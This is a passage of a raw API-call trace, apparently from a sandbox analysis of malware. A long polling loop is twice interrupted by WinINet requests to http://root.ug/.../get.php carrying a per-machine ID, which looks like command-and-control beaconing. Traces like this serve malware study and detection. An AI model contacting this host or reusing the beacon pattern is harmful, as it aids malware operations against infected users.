0x156a6 [0252.437] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.437] Sleep (dwMilliseconds=0x64) [0252.547] timeGetTime () returned 0x15713 [0252.547] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.547] Sleep (dwMilliseconds=0x64) [0252.656] timeGetTime () returned 0x15781 [0252.656] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.656] Sleep (dwMilliseconds=0x64) [0252.765] timeGetTime () returned 0x157ee [0252.765] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.765] Sleep (dwMilliseconds=0x64) [0252.874] timeGetTime () returned 0x1585b [0252.874] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.874] Sleep (dwMilliseconds=0x64) [0252.985] timeGetTime () returned 0x158c8 [0252.985] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.985] Sleep (dwMilliseconds=0x64) [0253.093] timeGetTime () returned 0x15935 [0253.093] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0253.093] Sleep (dwMilliseconds=0x64) [0253.202] timeGetTime () returned 0x159a3 [0253.202] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0253.202] Sleep (dwMilliseconds=0x64) [0253.311] timeGetTime () returned 0x15a10 [0253.311] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0253.311] Sleep (dwMilliseconds=0x64) [0253.420] timeGetTime () returned 0x15a7d [0253.420] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0253.420] Sleep (dwMilliseconds=0x64) [0253.529] timeGetTime () returned 0x15aea [0253.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307d820 | out: hHeap=0x640000) returned 1 [0253.530] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0253.530] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x727580 [0253.530] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab258 [0253.530] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x307d820 [0253.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ab258, cbMultiByte=-1, lpWideCharStr=0x307d820, cchWideChar=1056 | out: lpWideCharStr="E3674298AE18BF5A335DF90DDA3F669F") returned 33 [0253.530] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x3071ee8 [0253.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307d820 | out: hHeap=0x640000) returned 1 [0253.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab258 | out: hHeap=0x640000) returned 1 [0253.530] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e0) returned 0x307d820 [0253.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0253.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3071ee8 | out: hHeap=0x640000) returned 1 [0253.530] lstrcpyW (in: lpString1=0x989af78, lpString2="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" [0253.530] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0253.740] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x989a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x989a774 | out: lpBuffer=0x989a778*, lpdwNumberOfBytesRead=0x989a774*=0x101) returned 1 [0253.740] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0253.740] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0253.740] timeGetTime () returned 0x15bb5 [0253.740] timeGetTime () returned 0x15bb5 [0253.740] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0253.740] Sleep (dwMilliseconds=0x64) [0253.841] timeGetTime () returned 0x15c22 [0253.841] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0253.841] Sleep (dwMilliseconds=0x64) [0253.951] timeGetTime () returned 0x15c8f [0253.951] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0253.951] Sleep (dwMilliseconds=0x64) [0254.060] timeGetTime () returned 0x15cfd [0254.060] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0254.060] Sleep (dwMilliseconds=0x64) [0254.169] timeGetTime () returned 0x15d6a [0254.169] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0254.169] Sleep (dwMilliseconds=0x64) [0254.278] timeGetTime () returned 0x15dd7 [0254.278] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0254.278] Sleep (dwMilliseconds=0x64) [0254.387] timeGetTime () returned 0x15e44 [0254.388] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0254.388] Sleep (dwMilliseconds=0x64) [0254.497] timeGetTime () returned 0x15eb1 [0254.497] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0254.497] Sleep (dwMilliseconds=0x64) [0254.606] timeGetTime () returned 0x15f1f [0254.606] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0254.606] Sleep (dwMilliseconds=0x64) [0254.715] timeGetTime () returned 0x15f8c [0254.715] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0254.715] Sleep (dwMilliseconds=0x64) [0254.824] timeGetTime () returned 0x15ff9 [0254.824] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0254.824] Sleep (dwMilliseconds=0x64) [0254.933] timeGetTime () returned 0x16066 [0254.933] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0254.933] Sleep (dwMilliseconds=0x64) [0255.043] timeGetTime () returned 0x160d3 [0255.043] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0255.043] Sleep (dwMilliseconds=0x64) [0255.152] timeGetTime () returned 0x16141 [0255.152] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0255.152] Sleep (dwMilliseconds=0x64) [0255.261] timeGetTime () returned 0x161ae [0255.261] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0255.261] Sleep (dwMilliseconds=0x64) [0255.370] timeGetTime () returned 0x1621b [0255.370] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0255.370] Sleep (dwMilliseconds=0x64) [0255.479] timeGetTime () returned 0x16288 [0255.480] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0255.480] Sleep (dwMilliseconds=0x64) [0255.590] timeGetTime () returned 0x162f5 [0255.590] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0255.590] Sleep (dwMilliseconds=0x64) [0255.698] timeGetTime () returned 0x16363 [0255.698] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0255.698] Sleep (dwMilliseconds=0x64) [0255.809] timeGetTime () returned 0x163d0 [0255.809] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0255.809] Sleep (dwMilliseconds=0x64) [0255.918] timeGetTime () returned 0x1643d [0255.918] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0255.918] Sleep (dwMilliseconds=0x64) [0256.041] timeGetTime () returned 0x164aa [0256.041] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0256.041] Sleep (dwMilliseconds=0x64) [0256.150] timeGetTime () returned 0x16517 [0256.150] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0256.150] Sleep (dwMilliseconds=0x64) [0256.259] timeGetTime () returned 0x16585 [0256.259] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0256.259] Sleep (dwMilliseconds=0x64) [0256.369] timeGetTime () returned 0x165f2 [0256.369] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0256.369] Sleep (dwMilliseconds=0x64) [0256.478] timeGetTime () returned 0x1665f [0256.478] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0256.478] Sleep (dwMilliseconds=0x64) [0256.587] timeGetTime () returned 0x166cc [0256.587] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0256.587] Sleep (dwMilliseconds=0x64) [0256.696] timeGetTime () returned 0x16739 [0256.696] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0256.696] Sleep (dwMilliseconds=0x64) [0256.805] timeGetTime () returned 0x167a7 [0256.805] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0256.805] Sleep (dwMilliseconds=0x64) [0256.915] timeGetTime () returned 0x16814 [0256.915] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0256.915] Sleep (dwMilliseconds=0x64) [0257.027] timeGetTime () returned 0x16881 [0257.027] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0257.027] Sleep (dwMilliseconds=0x64) [0257.133] timeGetTime () returned 0x168ee [0257.133] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0257.133] Sleep (dwMilliseconds=0x64) [0257.242] timeGetTime () returned 0x1695b [0257.242] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0257.242] Sleep (dwMilliseconds=0x64) [0257.353] timeGetTime () returned 0x169c9 [0257.353] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0257.353] Sleep (dwMilliseconds=0x64) [0257.461] timeGetTime () returned 0x16a36 [0257.461] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0257.461] Sleep (dwMilliseconds=0x64) [0257.570] timeGetTime () returned 0x16aa3 [0257.570] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0257.570] Sleep (dwMilliseconds=0x64) [0257.679] timeGetTime () returned 0x16b10 [0257.679] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0257.679] Sleep (dwMilliseconds=0x64) [0257.788] timeGetTime () returned 0x16b7d [0257.788] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0257.788] Sleep (dwMilliseconds=0x64) [0257.897] timeGetTime () returned 0x16beb [0257.897] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0257.897] Sleep (dwMilliseconds=0x64) [0258.007] timeGetTime () returned 0x16c58 [0258.007] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0258.007] Sleep (dwMilliseconds=0x64) [0258.116] timeGetTime () returned 0x16cc5 [0258.116] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0258.116] Sleep (dwMilliseconds=0x64) [0258.225] timeGetTime () returned 0x16d32 [0258.225] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0258.225] Sleep (dwMilliseconds=0x64) [0258.334] timeGetTime () returned 0x16d9f [0258.334] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0258.334] Sleep (dwMilliseconds=0x64) [0258.444] timeGetTime () returned 0x16e0d [0258.444] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0258.444] Sleep (dwMilliseconds=0x64) [0258.553] timeGetTime () returned 0x16e7a [0258.553] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0258.553] Sleep (dwMilliseconds=0x64) [0258.662] timeGetTime () returned 0x16ee7 [0258.662] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0258.662] Sleep (dwMilliseconds=0x64) [0258.771] timeGetTime () returned 0x16f54 [0258.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307d820 | out: hHeap=0x640000) returned 1 [0258.771] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0258.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x727580 [0258.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab258 [0258.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x307d820 [0258.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ab258, cbMultiByte=-1, lpWideCharStr=0x307d820, cchWideChar=1056 | out: lpWideCharStr="E3674298AE18BF5A335DF90DDA3F669F") returned 33 [0258.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x3071ee8 [0258.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307d820 | out: hHeap=0x640000) returned 1 [0258.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab258 | out: hHeap=0x640000) returned 1 [0258.771] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e0) returned 0x307d820 [0258.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0258.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3071ee8 | out: hHeap=0x640000) returned 1 [0258.772] lstrcpyW (in: lpString1=0x989af78, lpString2="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" [0258.772] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0258.977] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x989a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x989a774 | out: lpBuffer=0x989a778*, lpdwNumberOfBytesRead=0x989a774*=0x101) returned 1 [0258.977] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0258.977] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0258.977] timeGetTime () returned 0x1701f [0258.977] timeGetTime () returned 0x1701f [0258.977] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0258.977] Sleep (dwMilliseconds=0x64) [0259.083] timeGetTime () returned 0x1708c [0259.083] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0259.083] Sleep (dwMilliseconds=0x64) [0259.192] timeGetTime () returned 0x170f9 [0259.192] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0259.192] Sleep (dwMilliseconds=0x64) [0259.301] timeGetTime () returned 0x17167 [0259.301] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0259.302] Sleep (dwMilliseconds=0x64) [0259.766] timeGetTime () returned 0x1732b [0259.766] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0259.766] Sleep (dwMilliseconds=0x64) [0259.863] timeGetTime () returned 0x17398 [0259.863] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0259.863] Sleep (dwMilliseconds=0x64) [0259.972] timeGetTime () returned 0x17405 [0259.972] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0259.972] Sleep (dwMilliseconds=0x64) [0260.081] timeGetTime () returned 0x17473 [0260.081] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0260.081] Sleep (dwMilliseconds=0x64) [0260.191] timeGetTime () returned 0x174e0 [0260.191] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0260.191] Sleep (dwMilliseconds=0x64) [0260.300] timeGetTime () returned 0x1754d [0260.300] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0260.300] Sleep (dwMilliseconds=0x64) [0260.409] timeGetTime () returned 0x175ba [0260.409] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0260.409] Sleep (dwMilliseconds=0x64) [0260.518] timeGetTime () returned 0x17627 [0260.518] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0260.518] Sleep (dwMilliseconds=0x64) [0260.628] timeGetTime () returned 0x17695 [0260.628] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0260.628] Sleep (dwMilliseconds=0x64) [0260.737] timeGetTime () returned 0x17702 [0260.737] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0260.737] Sleep (dwMilliseconds=0x64) [0260.846] timeGetTime () returned 0x1776f [0260.846] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0260.846] Sleep (dwMilliseconds=0x64) [0260.955] timeGetTime () returned 0x177dc [0260.955] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0260.955] Sleep (dwMilliseconds=0x64) [0261.065] timeGetTime () returned 0x17849 [0261.065] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0261.065] Sleep (dwMilliseconds=0x64) [0261.173] timeGetTime () returned 0x178b7 [0261.173] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0261.173] Sleep (dwMilliseconds=0x64) [0261.283] timeGetTime () returned 0x17924 [0261.283] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0261.283] Sleep (dwMilliseconds=0x64) [0261.477] timeGetTime () returned 0x179df [0261.477] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0261.477] Sleep (dwMilliseconds=0x64) [0261.579] timeGetTime () returned 0x17a4c [0261.579] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0261.579] Sleep (dwMilliseconds=0x64) [0261.692] timeGetTime () returned 0x17ab9 [0261.692] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0261.692] Sleep (dwMilliseconds=0x64) [0261.804] timeGetTime () returned 0x17b27 [0261.804] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0261.804] Sleep (dwMilliseconds=0x64) [0261.907] timeGetTime () returned 0x17b94 [0261.907] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0261.907] Sleep (dwMilliseconds=0x64) [0262.016] timeGetTime () returned 0x17c01 [0262.016] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0262.016] Sleep (dwMilliseconds=0x64) [0262.125] timeGetTime () returned 0x17c6e [0262.125] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 